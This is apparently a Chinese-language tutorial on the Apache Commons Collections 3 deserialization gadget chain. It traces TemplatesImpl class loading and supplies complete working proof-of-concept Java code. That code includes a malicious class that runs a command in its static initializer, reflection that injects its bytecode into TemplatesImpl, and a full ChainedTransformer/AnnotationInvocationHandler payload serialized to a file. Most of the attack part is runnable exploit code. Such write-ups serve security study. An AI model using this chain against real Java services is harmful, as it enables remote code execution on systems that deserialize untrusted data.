Apache Commons Collections 3
CC1与CC6链都是通过 Runtime.exec() 进行命令执行的。当服务器的代码将 Runtime放入黑名单的时候 就不能使用了。 CC3链的好处是通过动态加载类的机制实现恶意类代码执行。
ClassLoader.loadClass(String name)
先检查这个类是否已经被当前类加载器加载过(缓存查找)。
如果没加载过,走双亲委派模型: 把请求交给父类加载器( parent.loadClass(name) )去找。
如果父加载器找不到(抛 ClassNotFoundException ),才会调用自己的 findClass 。
findClass(String name)
根据类名找到字节码(可能从文件、网络、数据库、甚至内存里)。
调用 defineClass() 把字节码变成 Class 对象。
defineClass(String name, byte[] b, int off, int len)
真正把字节数组解析成 JVM 内部的类结构。
defineClass
首先跟进ClassLoader.loadClass()里面查看调用
1 2 3 4 5 6 7 8 9 10 11 12 13
| loadClass(name) │ ├──(1) 已加载过? → 直接返回 Class 对象 │ ├──(2) 父加载器 loadClass(name) │ └──(3) 找不到 → 调用 findClass(name) │ └── defineClass(name, bytes, 0, len) │ └── JVM 验证 & 生成 Class 对象 │ └── 执行 <clinit> 静态代码块
|
最后会调用defineClass加载类,继续寻找调用defineClass的类

TemplatesImpl
TemplatesImpl类会调用defineClass()
1 2 3
| Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); }
|
default类型方法,无法直接访问,寻找调用
在defineTransletClasses()方法里找到

依然是私有,继续寻找
发现在getTransletInstance()方法会调用,且会进行newInstance()初始化

继续寻找调用getTransletInstance()方法
最终发现在newTransformer()会完成调用,且newTransformer()为public方法

所以,目前的链子为
1 2 3
| ClassLoader.defineClass()<-TemplatesImpl.defineClass<- TemplatesImpl.defineTransletClasses()<-TemplatesImpl.getTransletInstance()<- TemplatesImpl.newTransformer()
|
必要属性
通过观察发现有些属性必须赋值
_name
若_name为空,则直接返回,而class必须为空,不能赋值

_bytecodes
_bytecodes不能为空,且是加载二进制数据最关键的属性

_tfactory
_tfactory属性不能为空,不然会抛异常

同时发现 _tfactory 会在readObjectt方法被赋值为 new TransformerFactoryImpl() ,因此可以直接手 动赋值为 new TransformerFactoryImpl()

编写poc
首先编写恶意类并生成class文件
1 2 3 4 5 6 7 8 9 10
| public class EvilTest { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } }
|
创建TemplatesImpl类,并通过反射给 _name , _bytecodes , _tfactory 属性赋值

为字符串,随便赋值
1 2 3
| Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "1");
|
_tfactory
刚才已经说了,赋值为 new TransformerFactoryImpl()
1 2
| tfactory.set(templates,new TransformerFactoryImpl());
|
_bytecodes
加载恶意类的关键参数

从定义上看,是个二维数组,且通过遍历来加载类

可以直接在二维数组里套一维数组,在一维数组里写入恶意类二进制数据
1 2 3 4 5 6 7
| Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:/Maven/project/cc1/src/main/java/cc3/EvilTest.class")); byte[][] codes = {code}; bytecodes.set(templates,codes);
|
最后再调用newTransformer()函数
1
| templates.newTransformer();
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class cc3Test { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); name.set(templates, "1"); byte[] code =Files.readAllBytes(Paths.get("D:/Maven/project/cc1/src/main/java/cc3/EvilTest.cla ss")); byte[][] codes = {code}; bytecodes.set(templates,codes); tfactory.set(templates,new TransformerFactoryImpl()); templates.newTransformer(); } }
|
执行发现报错

进入调试

发现superClass会获取加载类的父类并与 ABSTRACT_TRANSLET 属性进行比较,如果没有找到那么 _transletIndex 会赋值为-1,那么下面的if就会抛异常
查看 ABSTRACT_TRANSLET 属性
1 2 3
| private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
|
发现它等于 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ,因此需要恶 意类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{ static { try { Runtime.getRuntime().exec("calc"); System.out.println("Evil success"); } catch (IOException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler) throws TransletException {}
|
重新编译并执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class cc3Test { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); name.set(templates, "1"); byte[] code =Files.readAllBytes(Paths.get("D:/Maven/project/cc1/src/main/java/cc3/Evil.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); tfactory.set(templates,new TransformerFactoryImpl()); templates.newTransformer(); } }
|
成功执行

构造反序列化链
剩下的部分就跟cc1链一样,使用ChainedTransformer类链式加载TemplatesImpl.newTransformer方法, 并创建TransformedMap对象,并使用反射创建AnnotationInvocationHandler类传入TransformedMap 对象,在反序列化就会调用readObject方法并调用链条执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| package cc3; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class cc3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); name.set(templates, "1"); byte[] code =Files.readAllBytes(Paths.get("D:/Maven/project/cc1/src/main/java/cc3/Evil.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); tfactory.set(templates,new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object,Object> transformedMap = (TransformedMap) TransformedMap.decorate(map, null, chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aClassConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); aClassConstructor.setAccessible(true); Object o = aClassConstructor.newInstance(Target.class, transformedMap); serialize(o); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser5.bin")); oos.writeObject(obj); } public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser5.bin")); Object o = ois.readObject(); System.out.println(o); } }
|
